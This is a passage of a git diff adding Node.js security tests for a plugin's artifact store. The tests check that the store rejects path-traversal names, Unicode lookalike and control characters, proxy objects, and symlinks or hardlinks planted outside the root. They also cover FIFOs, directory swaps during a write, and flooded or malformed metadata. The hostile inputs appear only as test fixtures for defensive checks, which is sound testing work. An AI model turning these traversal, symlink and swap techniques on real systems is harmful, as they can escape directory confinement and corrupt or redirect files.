openArtifactStoreV1({ root }); + return reopened; +} + +test('proxy, accessor, and alias/cycle references fail closed before any filesystem effect', async () => { + const { root, store } = await freshStore(); + try { + // Live proxy with a trap counter: zero traps may fire. + const { proxy, counts } = countingProxy(BASE_REF); + const error = await expectCode(() => store.publish(proxy, PAYLOAD), 'proxy_denied'); + assertContentFree(error, root, PAYLOAD); + assert.equal(counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has, 0); + + // Accessor-dressed reference: the getter must never run. + const accessor = { ...BASE_REF }; + let getterRuns = 0; + Object.defineProperty(accessor, 'sha256', { + enumerable: true, + get() { getterRuns += 1; return digestOf(PAYLOAD); }, + }); + await expectCode(() => store.publish(accessor, PAYLOAD), 'accessor_property_denied'); + assert.equal(getterRuns, 0); + + // Aliased cyclic reference. + const cyclic = { ...BASE_REF }; + cyclic.self = cyclic; + await expectCode(() => store.publish(cyclic, PAYLOAD), 'aliased_reference_denied'); + + // Unknown key keeps its P07 denial. + await expectCode( + () => store.publish({ ...BASE_REF, extra: 'x' }, PAYLOAD), + 'unknown_key', + ); + // Malformed digest keeps its P07 denial. + await expectCode( + () => store.publish({ ...BASE_REF, sha256: digestOf(PAYLOAD).toUpperCase() }, PAYLOAD), + 'invalid_format', + ); + // The store is still pristine: no artifacts, no temporaries. + assert.equal((await store.audit()).artifacts, 0); + } finally { + removeRoot(root); + } +}); + +test('traversal, devices, separators, and Unicode hostility inherit exact P07 behavior', async () => { + const { root, store } = await freshStore(); + try { + const cases = [ + [{ relative_path: '../outside.patch' }, 'alias_segment_denied'], + [{ relative_path: 'a/../../b.patch' }, 'alias_segment_denied'], + [{ relative_path: '/absolute.patch' }, 'absolute_path_denied'], + [{ relative_path: 'runs\\run\\x.patch' }, 'invalid_separator'], + [{ relative_path: 'runs/run-x/con' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/CON.txt' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/nul.dat' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/aux' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/trail.' }, 'edge_character_denied'], + [{ relative_path: 'runs/run-x/ lead.patch' }, 'edge_character_denied'], + [{ relative_path: 'runs/run-x/a:b.patch' }, 'colon_denied'], + [{ relative_path: 'runs/run-x/solid\u2044us.patch' }, 'separator_lookalike_denied'], + [{ relative_path: 'runs/run-x/invis\u200bx.patch' }, 'invisible_character_denied'], + [{ relative_path: 'runs/run-x/bell\u0007.patch' }, 'control_character_denied'], + [{ relative_path: 'runs/run-x/\u212an.patch' }, 'invalid_encoding'], + ]; + for (const [override, expected] of cases) { + await expectCode( + () => store.publish(refFor(PAYLOAD, override), PAYLOAD), + expected, + 'artifact_ref.relative_path', + ); + } + // Well-formed astral characters stay legal end-to-end. + const astral = Buffer.from('emoji artifact'); + const astralRef = refFor(astral, { + relative_path: `runs/${'r'.repeat(4)}-🎨/lane-日本語/artifact-𝔘.patch`, + }); + await store.publish(astralRef, astral); + assert.equal((await store.audit()).artifacts, 1); + assert.equal(await store.verifyArtifact(astralRef).then((v) => v.verified), true); + } finally { + removeRoot(root); + } +}); + +test('hostile sources are denied before any byte reaches disk', async () => { + const { root, store } = await freshStore(); + try { + // Proxy-wrapped buffer. + const { proxy } = countingProxy(PAYLOAD); + await expectCode(() => store.publish(BASE_REF, proxy), 'proxy_denied'); + // Subclassed view: not an intrinsic prototype. + await expectCode( + () => store.publish(BASE_REF, new SubclassedBytes(PAYLOAD.length)), + 'artifact_stream_invalid_source', + ); + // SharedArrayBuffer-backed view. + const shared = new Uint8Array(new SharedArrayBuffer(8)); + await expectCode(() => store.publish(BASE_REF, shared), 'artifact_stream_invalid_source'); + // Plain strings and numbers are not sources. + await expectCode(() => store.publish(BASE_REF, 'text'), 'artifact_stream_invalid_source'); + await expectCode(() => store.publish(BASE_REF, 42), 'artifact_stream_invalid_source'); + // Accessor-dressed iterable: its getter must never run. + const trapLog = { iteratorGetter: 0 }; + await expectCode( + () => store.publish(BASE_REF, accessorIterable(trapLog)), + 'artifact_stream_invalid_source', + ); + assert.equal(trapLog.iteratorGetter, 0); + // A class instance with a prototype chain (Node Readable) is refused. + class FakeStream { + async *[Symbol.asyncIterator]() { yield PAYLOAD; } + } + await expectCode(() => store.publish(BASE_REF, new FakeStream()), 'artifact_stream_invalid_source'); + // String chunks from a generator are refused mid-stream. + await expectCode( + () => store.publish(BASE_REF, stringChunkSource()), + 'artifact_stream_invalid_chunk', + ); + assert.equal((await store.audit()).artifacts, 0); + } finally { + removeRoot(root); + } +}); + +test('short, long, and throwing streams fail typed without echoing the underlying cause', async () => { + const { root, store } = await freshStore(); + try { + const declared = refFor(Buffer.alloc(16, 0x61), { relative_path: 'runs/r/short.bin' }); + await expectCode(() => store.publish(declared, shortSource(16, 4)), 'artifact_length_mismatch'); + await expectCode(() => store.publish(declared, emptyStream()), 'artifact_length_mismatch'); + const growing = refFor(Buffer.alloc(64, 0x62), { relative_path: 'runs/r/long.bin' }); + await expectCode( + () => store.publish(growing, (async function* () { + yield Buffer.alloc(64, 0x62); + yield Buffer.alloc(2, 0x62); + })()), + 'artifact_length_mismatch', + ); + const underlying = new Error('secret internals about the host filesystem'); + const streamError = await expectCode( + () => store.publish(declared, throwingSource(underlying)), + 'artifact_stream_failed', + ); + assert.equal(streamError.message.includes('secret internals'), false); + assert.equal((await store.audit()).artifacts, 0); + } finally { + removeRoot(root); + } +}); + +test('symlinked parents, targets, and sidecars are never followed', async () => { + if (isWindows) return; + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + // Seed one namespace so intermediate directories exist. + await store.publish(BASE_REF, PAYLOAD); + const outside = mkdtempSync(path.join(tmpdir(), 'cce-p08-outside-'), { mode: 0o700 }); + try { + // Symlink at a parent component of a future publication. + const parentLink = path.join(root, 'sanitized', 'content', 'runs', 'link'); + await symlink(outside, parentLink, 'dir'); + // The structural sweep condemns the link before any publication walk + // could resolve through it; nothing is ever followed. + await expectCode( + () => store.publish(refFor(Buffer.from('x'), { relative_path: 'runs/link/x.bin' }), + Buffer.from('x')), + 'artifact_entry_unsafe', + ); + await expectCode(() => store.audit(), 'artifact_entry_unsafe'); + await rm(parentLink); + + // Symlink planted exactly at the destination content name: first strip + // the authoritative artifact, then occupy its name with a link. + const target = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + rmSync(target); + const bait = Buffer.from('bait bytes never adopted'); + writeFileSync(path.join(outside, 'bait.bin'), bait); + await symlink(path.join(outside, 'bait.bin'), target); + await expectCode( + () => store.verifyArtifact(BASE_REF), + 'artifact_entry_unsafe', + ); + await expectCode( + () => store.publish(BASE_REF, PAYLOAD), + 'artifact_entry_unsafe', + ); + // The bait file must be untouched by every attempt above. + assert.equal(readFileSync(path.join(outside, 'bait.bin')).equals(bait), true); + await unlink(target); + + // Symlinked sidecar. + const metaTarget = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', + 'lane-alpha', `diff.patch${ARTIFACT_STORE_META_SUFFIX}`); + writeFileSync(path.join(outside, 'fake.json'), '{"schema":"x"}'); + rmSync(metaTarget); + await symlink(path.join(outside, 'fake.json'), metaTarget); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + await unlink(metaTarget); + } finally { + rmSync(outside, { recursive: true, force: true }); + } + } finally { + removeRoot(root); + } +}); + +test('hardlinked stored artifacts are rejected wherever they can be proven', async () => { + if (isWindows) return; + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const outside = mkdtempSync(path.join(tmpdir(), 'cce-p08-hard-'), { mode: 0o700 }); + try { + const contentPath = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + // Exfiltrate one more directory entry onto the same inode. + await link(contentPath, path.join(outside, 'alias.bin')); + await expectCode(() => closeAndReopen(root), 'artifact_entry_unsafe'); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + await expectCode(() => store.audit(), 'artifact_entry_unsafe'); + // Restoring single-link discipline restores verification. + await unlink(path.join(outside, 'alias.bin')); + assert.equal(await store.verifyArtifact(BASE_REF).then((v) => v.verified), true); + } finally { + rmSync(outside, { recursive: true, force: true }); + } + } finally { + removeRoot(root); + } +}); + +test('FIFOs and other non-regular entries are condemned without blocking or following', async () => { + if (isWindows) return; + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const contentDir = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha'); + rmSync(path.join(contentDir, 'diff.patch')); + const fifoPath = path.join(contentDir, 'diff.patch'); + const { execFileSync } = await import('node:child_process'); + execFileSync('mkfifo', [fifoPath]); + // Verification must not block on a writer-less FIFO (O_NONBLOCK opens). + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + await expectCode(() => closeAndReopen(root), 'artifact_entry_unsafe'); + // Publishing onto the FIFO location fails closed as well. + await expectCode(() => store.publish(BASE_REF, PAYLOAD), 'artifact_entry_unsafe'); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); + +test('root swaps between operations are proven and rejected', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + // Replace the root directory wholesale (new device/inode at same path). + const moved = `${root}-moved`; + rmSync(moved, { recursive: true, force: true }); + const renamed = renameSync(root, moved); + mkdirSync(root, { mode: 0o700 }); + try { + await expectCode(() => store.publish(refFor(Buffer.from('y'), { relative_path: 'y.bin' }), + Buffer.from('y')), 'artifact_root_unsafe'); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_root_unsafe'); + } finally { + if (renamed) rmSync(moved, { recursive: true, force: true }); + } + } finally { + rmSync(`${root}-moved`, { recursive: true, force: true }); + rmSync(root, { recursive: true, force: true }); + } +}); + +test('parent swaps interleaved into a live publication are proven and rejected', async (t) => { + if (isWindows) return; + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const deepBytes = Buffer.from('parent swap victim payload'); + const deepRef = refFor(deepBytes, { + relative_path: 'runs/run-store-01/lane-alpha/deep/deeper/swap.patch', + }); + // After the first chunk arrives, replace a captured ancestor directory + // with a brand-new inode at the same path. Publication must fail typed + // and leave no authoritative artifact behind for that reference. + let outcome = null; + try { + await store.publish(deepRef, sabotagingSource(async () => { + const ancestor = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01'); + const staged = `${ancestor}-staged`; + renameSync(ancestor, staged); + mkdirSync(ancestor, { recursive: true, mode: 0o700 }); + rmSync(staged, { recursive: true, force: true }); + })); + } catch (error) { + outcome = error; + } + assert.ok(outcome instanceof RunContractV1Error, + `expected a typed failure, got ${String(outcome)}`); + assertContentFree(outcome, root, deepBytes); + try { + await store.verifyArtifact(deepRef); + assert.fail('expected a typed verification failure'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assert.ok( + error.code === 'artifact_not_found' || error.code === 'artifact_torn_publication', + `unexpected code ${error.code}`, + ); + } + // The hostile deletion orphaned previously authoritative sidecars too. + // Nothing heals silently: every later operation keeps failing closed + // until an operator acts outside this module. + await expectCode(() => store.verifyArtifact(BASE_REF)); + } finally { + removeRoot(root); + } +}); + +test('crash debris: torn temporaries, orphaned content, and orphaned sidecars stay rejected after restart', async () => { + const root = makeStoreRoot(); + try { + const seed = await openArtifactStoreV1({ root }); + await seed.publish(BASE_REF, PAYLOAD); + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + const metaLeaf = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', + 'lane-alpha', `diff.patch${ARTIFACT_STORE_META_SUFFIX}`); + + // Leftover temporary in the content tree. + writeFileSync(path.join(path.dirname(contentLeaf), '.tmp-' + 'a'.repeat(32)), 'torn temp'); + await expectCode(() => closeAndReopen(root), 'artifact_torn_temporary'); + await expectCode(() => auditArtifactStoreV1(seed), 'artifact_torn_temporary'); + rmSync(path.join(path.dirname(contentLeaf), '.tmp-' + 'a'.repeat(32))); + + // Content without sidecar. + const orphanContent = path.join(path.dirname(contentLeaf), 'orphan.bin'); + writeFileSync(orphanContent, 'no sidecar', { mode: 0o600 }); + chmodSync(orphanContent, 0o600); + await expectCode(() => closeAndReopen(root), 'artifact_torn_publication'); + rmSync(orphanContent); + + // Sidecar without content. + const orphanMeta = path.join(path.dirname(metaLeaf), 'ghost.bin.json'); + writeFileSync(orphanMeta, '{}', { mode: 0o600 }); + chmodSync(orphanMeta, 0o600); + await expectCode(() => closeAndReopen(root), 'artifact_torn_publication'); + rmSync(orphanMeta); + + // Foreign names. + writeFileSync(path.join(path.dirname(contentLeaf), 'bad\x01name'), 'foreign'); + await expectCode(() => closeAndReopen(root), 'artifact_foreign_entry'); + rmSync(path.join(path.dirname(contentLeaf), 'bad\x01name')); + writeFileSync(path.join(path.dirname(contentLeaf), `${'x'.repeat(129)}`), 'x'); + await expectCode(() => closeAndReopen(root), 'artifact_foreign_entry'); + rmSync(path.join(path.dirname(contentLeaf), `${'x'.repeat(129)}`)); + // A legal name without a sidecar is a torn publication. + const legalOrphan = path.join(path.dirname(contentLeaf), 'legalname.bin'); + writeFileSync(legalOrphan, 'x', { mode: 0o600 }); + chmodSync(legalOrphan, 0o600); + await expectCode(() => closeAndReopen(root), 'artifact_torn_publication'); + rmSync(legalOrphan); + + // After removing every injected fault the store verifies again. + assert.equal(await auditArtifactStoreV1(seed).then((r) => r.artifacts), 1); + } finally { + removeRoot(root); + } +}); + +test('a reserved temporary-name parent cannot publish and later self-condemns', async () => { + const { root, store } = await freshStore(); + try { + const reserved = `.tmp-${'a'.repeat(32)}`; + const bytes = Buffer.from('temp-segment payload'); + const reservedRef = refFor(bytes, { relative_path: `runs/${reserved}/x.bin` }); + await expectCode(() => store.publish(reservedRef, bytes), 'artifact_reserved_name_denied'); + // Denial leaves the store clean: later audit/open must not self-condemn. + assert.equal((await store.audit()).artifacts, 0); + assert.equal((await closeAndReopen(root).then((reopened) => reopened.audit())).artifacts, 0); + + // Operator-planted reserved parents remain crash debris, not artifacts. + mkdirSync(path.join(root, 'sanitized', 'content', 'runs', reserved), { recursive: true, mode: 0o700 }); + writeFileSync(path.join(root, 'sanitized', 'content', 'runs', reserved, 'x.bin'), bytes); + await expectCode(() => store.audit(), 'artifact_torn_temporary'); + await expectCode(() => closeAndReopen(root), 'artifact_torn_temporary'); + } finally { + removeRoot(root); + } +}); + +test('verification compares stored snapshots and never trusts a caller-forged digest', async () => { + const { root, store } = await freshStore(); + try { + await store.publish(BASE_REF, PAYLOAD); + await expectCode( + () => store.verifyArtifact(refFor(PAYLOAD, { media_type: 'application/json' })), + 'artifact_metadata_conflict', + ); + await expectCode( + () => store.verifyArtifact(refFor(PAYLOAD, { run_id: 'run-store-99' })), + 'artifact_metadata_conflict', + ); + assert.equal(await store.verifyArtifact(BASE_REF).then((verdict) => verdict.verified), true); + + const swapped = Buffer.from(PAYLOAD.map((byte) => byte ^ 0x01)); + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + writeFileSync(contentLeaf, swapped); + await expectCode(() => store.verifyArtifact(refFor(swapped)), 'artifact_content_conflict'); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_digest_mismatch'); + } finally { + removeRoot(root); + } +}); + +test('truncated, oversized, swapped, and malformed stored state fails verification and restart', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + const metaLeaf = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', + 'lane-alpha', `diff.patch${ARTIFACT_STORE_META_SUFFIX}`); + + // Truncation. + writeFileSync(contentLeaf, PAYLOAD.subarray(0, 8)); + await expectCode(() => closeAndReopen(root), 'artifact_entry_unsafe'); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + writeFileSync(contentLeaf, PAYLOAD); + + // Same-size content swap under one path. + const swapped = Buffer.from(PAYLOAD.map((byte) => byte ^ 0x01)); + writeFileSync(contentLeaf, swapped); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_digest_mismatch'); + writeFileSync(contentLeaf, PAYLOAD); + + // Oversized content beyond the class cap. + writeFileSync(contentLeaf, Buffer.concat([PAYLOAD, Buffer.alloc(300 * 1024, 0x21)])); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + writeFileSync(contentLeaf, PAYLOAD); + + // Malformed sidecars: garbage, duplicate keys, extra keys, wrong location. + for (const broken of [ + 'not json at all', + '{"schema":"codex-co-engineer.artifact-store.v1","schema":"dup"}', + JSON.stringify({ + schema: 'codex-co-engineer.artifact-store.v1', + artifact_ref: BASE_REF, + byte_length: PAYLOAD.length, + sha256: digestOf(PAYLOAD), + extra: true, + }), + JSON.stringify({ + schema: 'codex-co-engineer.artifact-ref.v1', + artifact_ref: BASE_REF, + byte_length: PAYLOAD.length, + sha256: digestOf(PAYLOAD), + }), + JSON.stringify({ + schema: 'codex-co-engineer.artifact-store.v1', + artifact_ref: BASE_REF, + byte_length: PAYLOAD.length + 1, + sha256: digestOf(PAYLOAD), + }), + ]) { + const original = readFileSync(metaLeaf, 'utf8'); + writeFileSync(metaLeaf, `${broken}\n`); + await expectCode(() => store.verifyArtifact(BASE_REF), undefined); + writeFileSync(metaLeaf, original); + } + + // A sidecar describing a different relative path than its location. + const misplaced = JSON.stringify({ + schema: 'codex-co-engineer.artifact-store.v1', + artifact_ref: refFor(PAYLOAD, { relative_path: 'runs/elsewhere/x.patch' }), + byte_length: PAYLOAD.length, + sha256: digestOf(PAYLOAD), + }); + const original = readFileSync(metaLeaf, 'utf8'); + writeFileSync(metaLeaf, `${misplaced}\n`); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_foreign_entry'); + writeFileSync(metaLeaf, original); + + // Everything healed: verification passes again. + assert.equal(await store.verifyArtifact(BASE_REF).then((v) => v.verified), true); + } finally { + removeRoot(root); + } +}); + +test('oversized and malformed sidecars are bounded before allocation', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const metaLeaf = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', + 'lane-alpha', `diff.patch${ARTIFACT_STORE_META_SUFFIX}`); + writeFileSync(metaLeaf, `${'x'.repeat(MAX_ARTIFACT_STORE_META_BYTES + 1)}`); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_metadata_malformed'); + await expectCode(() => closeAndReopen(root), 'artifact_metadata_malformed'); + } finally { + removeRoot(root); + } +}); + +test('unsafe roots are refused before anything else happens', async () => { + const missing = path.join(makeStoreRoot(), 'does-not-exist'); + try { + await expectCode(() => openArtifactStoreV1({ root: missing }), 'artifact_root_missing'); + const tooOpen = makeStoreRoot(); + try { + chmodSync(tooOpen, 0o755); + await expectCode(() => openArtifactStoreV1({ root: tooOpen }), 'artifact_root_unsafe'); + chmodSync(tooOpen, 0o700); + // Root that is actually a file. + const fileRoot = path.join(makeStoreRoot(), 'file-root'); + writeFileSync(fileRoot, 'not a directory'); + await expectCode(() => openArtifactStoreV1({ root: fileRoot }), 'artifact_root_unsafe'); + // Symlinked root. + const real = makeStoreRoot(); + const linkRoot = `${real}-link`; + try { + symlinkSync(real, linkRoot, 'dir'); + await expectCode(() => openArtifactStoreV1({ root: linkRoot }), 'artifact_root_unsafe'); + } finally { + rmSync(linkRoot, { force: true }); + removeRoot(real); + } + // Hostile option shapes. + await expectCode(() => openArtifactStoreV1({ root: 'relative/path' }), 'artifact_root_unsafe'); + await expectCode(() => openArtifactStoreV1({ root: `${makeStoreRoot()}/../x` }), 'artifact_root_unsafe'); + await expectCode(() => openArtifactStoreV1(null), 'invalid_type'); + await expectCode(() => openArtifactStoreV1({ root: '/tmp/x', extra: 1 }), 'unknown_key'); + } finally { + removeRoot(tooOpen); + } + } finally { + removeRoot(path.dirname(missing)); + } +}); + +test('namespace privacy and structure violations fail closed', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + // Group-readable published file. + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + chmod(contentLeaf, 0o644); + await expectCode(() => closeAndReopen(root), 'artifact_entry_unsafe'); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + chmod(contentLeaf, 0o600); + // Group-writable namespace directory. + const nsDir = path.join(root, 'sanitized'); + chmod(nsDir, 0o770); + await expectCode(() => closeAndReopen(root), 'artifact_root_unsafe'); + chmod(nsDir, 0o700); + // A foreign directory inside a namespace. + mkdirSync(path.join(root, 'sanitized', 'smuggled'), { mode: 0o700 }); + await expectCode(() => closeAndReopen(root), 'artifact_foreign_entry'); + rmSync(path.join(root, 'sanitized', 'smuggled'), { recursive: true, force: true }); + // A foreign file directly inside a namespace. + writeFileSync(path.join(root, 'sanitized', 'stray.bin'), 'x'); + await expectCode(() => closeAndReopen(root), 'artifact_foreign_entry'); + rmSync(path.join(root, 'sanitized', 'stray.bin')); + assert.equal((await store.audit()).artifacts, 1); + } finally { + removeRoot(root); + } +}); + +test('directory floods and nesting depth hit bounded enumeration denials', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const leafDir = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', 'lane-alpha'); + // Flood one directory past the enumeration bound with legal-looking names. + for (let index = 0; index <= MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES; index += 1) { + writeFileSync(path.join(leafDir, `flood-${String(index).padStart(4, '0')}.json`), '{}'); + } + await expectCode(() => closeAndReopen(root), 'artifact_inventory_exceeded'); + for (let index = 0; index <= MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES; index += 1) { + rmSync(path.join(leafDir, `flood-${String(index).padStart(4, '0')}.json`)); + } + + // Nest deeper than the inherited segment bound. + let deep = path.join(root, 'sanitized', 'content'); + for (let level = 0; level < 20; level += 1) { + deep = path.join(deep, `l${level}`); + } + mkdirSync(deep, { recursive: true, mode: 0o700 }); + await expectCode(() => closeAndReopen(root), 'artifact_inventory_exceeded'); + rmSync(path.join(root, 'sanitized', 'content', 'l0'), { recursive: true, force: true }); + + // The audit-file ceiling is enforced on the sweep itself. + const manyRoot = makeStoreRoot(); + try { + const manyStore = await openArtifactStoreV1({ root: manyRoot }); + const floodDir = path.join(manyRoot, 'raw', 'content'); + mkdirSync(path.join(manyRoot, 'raw', 'meta'), { recursive: true, mode: 0o700 }); + mkdirSync(floodDir, { recursive: true, mode: 0o700 }); + const filler = Buffer.alloc(1024, 0x66); + for (let index = 0; index < MAX_ARTIFACT_STORE_AUDIT_FILES + 1; index += 1) { + writeFileSync(path.join(floodDir, `f${String(index).padStart(5, '0')}`), filler); + writeFileSync(path.join(manyRoot, 'raw', 'meta', `f${String(index).padStart(5, '0')}.json`), '{}'); + } + await expectCode(() => auditArtifactStoreV1(manyStore), 'artifact_inventory_exceeded'); + } finally { + removeRoot(manyRoot); + } + } finally { + removeRoot(root); + } +}); + +test('every typed denial stays content-free across the whole battery', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const observations = []; + const probes = [ + () => store.publish(countingProxy(BASE_REF).proxy, PAYLOAD), + () => store.publish(BASE_REF, stringChunkSource()), + () => store.verifyArtifact(BASE_REF), + () => store.publish(refFor(PAYLOAD, { relative_path: '../escape' }), PAYLOAD), + () => openArtifactStoreV1({ root: `${root}/missing` }), + () => store.publish(BASE_REF, new SubclassedBytes(4)), + ]; + for (const probe of probes) { + try { + await probe(); + } catch (error) { + if (error instanceof RunContractV1Error) observations.push(error); + else throw error; + } + } + assert.equal(observations.length >= 4, true); + for (const error of observations) assertContentFree(error, root, PAYLOAD); + } finally { + removeRoot(root); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-artifact-store.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-store.test.mjs new file mode 100644 index 0000000..2696cf9 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-store.test.mjs @@ -0,0 +1,400 @@ +import assert from 'node:assert/strict'; +import path from 'node:path'; +import test from 'node:test'; + +import { + ARTIFACT_STORE_CONTENT_DIR, + ARTIFACT_STORE_META_DIR, + ARTIFACT_STORE_ERROR_CODES, + ARTIFACT_STORE_INVENTORY_LABEL, + ARTIFACT_STORE_MAX_DEPTH, + ARTIFACT_STORE_META_SUFFIX, + ARTIFACT_STORE_NAMESPACES, + ARTIFACT_STORE_SCHEMA_ID, + ARTIFACT_STORE_TEMP_NAME_PATTERN, + MAX_ARTIFACT_STORE_AUDIT_FILES, + MAX_ARTIFACT_STORE_META_BYTES, + MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES, + auditArtifactStoreV1, + openArtifactStoreV1, + publishArtifactV1, + verifyStoredArtifactsV1, + verifyStoredArtifactV1, +} from '../mcp/v3/artifact-store.mjs'; +import { + ARTIFACT_REF_SCHEMA_ID, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, +} from '../mcp/v3/artifact-ref.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CHILD_B, + chunksOf, + digestOf, + emptyStream, + endlessSource, + makeStoreRoot, + refFor, + removeRoot, + RUN_ID, +} from './fixtures/r1-artifact-store-fixtures.mjs'; + +const PAYLOAD = Buffer.from('authoritative artifact bytes for P08\n'); +const SECOND = Buffer.from('a second artifact published through a stream\n'); + +async function errorOfAsync(action, expectedCode, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedCode !== undefined) assert.equal(error.code, expectedCode); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${expectedCode ?? 'RunContractV1Error'} failure`); +} + +test('the closed vocabulary and layout constants are exported frozen', () => { + assert.equal(ARTIFACT_STORE_SCHEMA_ID, 'codex-co-engineer.artifact-store.v1'); + assert.deepEqual([...ARTIFACT_STORE_NAMESPACES], ['raw', 'sanitized']); + assert.equal(Object.isFrozen(ARTIFACT_STORE_NAMESPACES), true); + assert.equal(Object.isFrozen(ARTIFACT_STORE_ERROR_CODES), true); + for (const code of [ + 'artifact_content_conflict', 'artifact_metadata_conflict', 'artifact_digest_mismatch', + 'artifact_length_mismatch', 'artifact_torn_publication', 'artifact_torn_temporary', + 'artifact_foreign_entry', 'artifact_stream_over_cap', 'artifact_not_found', + ]) { + assert.ok(ARTIFACT_STORE_ERROR_CODES.includes(code), code); + } + assert.equal(ARTIFACT_STORE_CONTENT_DIR, 'content'); + assert.equal(ARTIFACT_STORE_META_DIR, 'meta'); + assert.equal(ARTIFACT_STORE_META_SUFFIX, '.json'); + assert.match(ARTIFACT_STORE_TEMP_NAME_PATTERN.source, /tmp/); + assert.equal(typeof ARTIFACT_STORE_INVENTORY_LABEL, 'string'); + assert.equal(ARTIFACT_STORE_MAX_DEPTH > 0, true); + assert.equal(MAX_ARTIFACT_STORE_AUDIT_FILES > 0, true); + assert.equal(MAX_ARTIFACT_STORE_META_BYTES >= MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES, true); +}); + +test('a validated buffer publication returns detached frozen content-free metadata', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const receipt = await store.publish(refFor(PAYLOAD), PAYLOAD); + assert.equal(receipt.schema, ARTIFACT_STORE_SCHEMA_ID); + assert.deepEqual(Object.keys(receipt), [ + 'schema', 'artifact_ref', 'namespace', 'byte_length', 'sha256', 'ref_digest', 'created', + ]); + assert.equal(receipt.created, true); + assert.equal(receipt.namespace, 'sanitized'); + assert.equal(receipt.byte_length, PAYLOAD.length); + assert.equal(receipt.sha256, digestOf(PAYLOAD)); + assert.equal(receipt.artifact_ref.relative_path, `runs/${RUN_ID}/lane-alpha/diff.patch`); + assert.equal(Object.isFrozen(receipt), true); + assert.equal(Object.isFrozen(receipt.artifact_ref), true); + assert.match(receipt.ref_digest, /^[0-9a-f]{64}$/u); + // Content-free: the receipt never carries the root path or any bytes. + const projected = JSON.stringify(receipt); + assert.equal(projected.includes(root), false); + assert.equal(projected.includes(path.basename(root)), false); + assert.equal(projected.includes(PAYLOAD.toString('utf8').trim()), false); + // Detached: mutating the caller view afterwards changes nothing. + const verdict = await store.verifyArtifact(refFor(PAYLOAD)); + assert.equal(verdict.verified, true); + assert.deepEqual(Object.keys(verdict), [ + 'schema', 'artifact_ref', 'namespace', 'byte_length', 'sha256', 'verified', + ]); + } finally { + removeRoot(root); + } +}); + +test('buffer and bounded async stream sources store identical state deterministically', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const viaBuffer = await store.publish(refFor(SECOND), SECOND); + const streamRef = refFor(SECOND, { + assignment_id: CHILD_B, + relative_path: `runs/${RUN_ID}/${CHILD_B}/diff.patch`, + }); + const viaStream = await store.publish(streamRef, chunksOf(SECOND, 5)); + assert.equal(viaBuffer.sha256, viaStream.sha256); + assert.equal(viaBuffer.byte_length, viaStream.byte_length); + const batch = await store.verifyArtifacts([streamRef, refFor(SECOND)]); + 